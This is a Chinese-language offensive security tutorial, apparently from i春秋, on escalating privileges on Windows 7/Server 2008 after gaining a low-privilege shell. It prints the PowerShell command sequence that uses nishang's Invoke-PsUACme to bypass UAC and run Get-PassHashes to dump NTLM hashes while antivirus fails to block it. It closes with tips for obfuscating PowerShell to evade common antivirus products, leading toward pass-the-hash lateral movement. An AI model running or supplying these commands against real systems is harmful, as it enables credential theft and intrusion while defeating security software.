i春秋作家:神裤衩
0x00 前言
拿到一个服务器的低权限shell之后,一般的思路是提权-导hash-hash传递/17-010/14-068-找文件服务器-打域控,在这一整个链条中前两个提权/导hash也是经常遇坑的地方。本文需要介绍下如何在有Anti Virus的情况下实现提升权限并导出NTLM hash。
0x01 简介
l Powershell bypassUAC执行命令
l Powershell混淆绕过anti virus
l Windows server 2008/win7 nt6内核系统
0x02 Powershell简介
而从2008/win7开始windwos引入了powershell,而powershell是什么?可以简单的认为powershell是利用.net的各类库来实现往常cmd不能实现的功能,基于其强大的功能,往往也成为一些安全软件与系统安全的短板。
0x03 实现过程
回到提权的问题上,在powershell上可以通过bypass uac的操作来绕过系统阻止的访问操作,将自己操作的权限提升到id:500的管理员。
https://www.cnblogs.com/Chesky/p/UAC_Bypass.html有关UAC的概念和bypass相关可以查看上文。这里使用nishang的Invoke-PsUACme.ps1脚本
https://github.com/hfiref0x/UACME通过dll注入bypass的。测试环境 windows 7
当前用户权限处于管理员组,但id非500的用户。上传/或者ps动态加载Invoke-PsUACme.ps1到文件/内存中这里为了判断是否成功提升了权限我使用Powerpreter.psm1来导出hash,可以先提前执行下Powerpreter.psm1可以看到权限不够无法导出hash而且AV会拦截并删除脚本:如下图
已经被拦截了。接下来我bypassuac后在利用执行导hash操作
Microsoft Windows [版本 6.1.7600] 版权所有 (c) 2009 Microsoft Corporation。保留所有权利。 C:\Users\123>powershell -exe bypass Windows PowerShell[/align][align=left] 版权所有 (C) 2009 Microsoft Corporation。保留所有权利。 PS C:\Users\123> Import-Module.\Desktop\Invoke-PsUACme.ps1 PS C:\Users\123> cd .\Desktop PS C:\Users\123\Desktop> Invoke-PsUACme -method oobe -Payload"powershell -exE bypass Import-Module C:\Users\123\Desktop\Powerpreter.psm1;Get-PassHashes> C:\Users\123\Desktop\1.txt" Using OOBE method
可以看到,360并没有对执行的命令进行拦截
桌面上生成了1.txt代表命令成功的执行了。
可以看到 hash已经导出来了,在内网中接下来就是hash传递了。慢慢搞。
0x05 小结
这里再简单说下ps混淆,有的杀软对于编码混淆检查的比较严格,有的只是检查了参数传递的关键字,通过大小写,分号切割等方法都可以绕过,还有很多比如cs自动生成的ps命令,只需要控制将隐藏窗口控制台参数去掉就可以绕过火绒/等一些常见的国内av。有时间的话整理下ps混淆应对杀软的特点。
来源:freebuf.com 2019-01-11 11:11:02 by: i春秋学院
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册